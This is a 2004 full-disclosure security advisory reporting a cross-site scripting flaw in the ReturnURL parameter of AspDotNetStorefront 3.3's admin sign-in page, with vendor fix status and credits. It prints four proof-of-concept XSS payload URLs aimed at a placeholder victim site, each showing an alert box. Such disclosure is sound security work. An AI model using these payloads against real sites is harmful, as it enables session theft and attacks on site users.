full-disclosure - [FULL DISCLOSURE] ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

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Message-ID: <20040609120378.SM02504@ARCHANGEL>
From: tommy at providesecurity.com (Tom)
Subject: [FULL DISCLOSURE] ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

Release Date:
June 9, 2004

Severity:
Medium

Vendor:
AspDotNetStorefront.com A Division of Discovery Productions, Inc.

Software:
Tested on AspDotNetStorefront 3.3  
Previous versions may also be affected.

Remote:
Remotely executed from any web browser

Technical Details:
The malicious user is able to compromise the hidden field ReturnURL to
invoke a Cross-Site Scripting attack. This can be used to take advantage of
the trust between a client and server allowing the malicious user to execute
malicious JavaScript on the clients machine.

Examples:

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')">

Vendor Status:
Updates are available for customers to download.
Vendor was provided a list of vulnerabilities on June 5th.
Application was fixed by June 6th.
http://www.aspdotnetstorefront.com

Credit:
Discovered By: Thomas Ryan
Provide Security

Copyright (c) 2004 Provide Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without the expressed
written consent of Provide Security. If you wish to reprint the whole or any
part of this advisory in any other medium excluding electronic medium,
please email secalert@...videsecurity.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
no warranties, implied or express, with regard to this information. In no
event shall the author be liable for any direct or indirect damages
whatsoever arising out of or in connection with the use or spread of this
information. Any use of this information is at the user's own risk.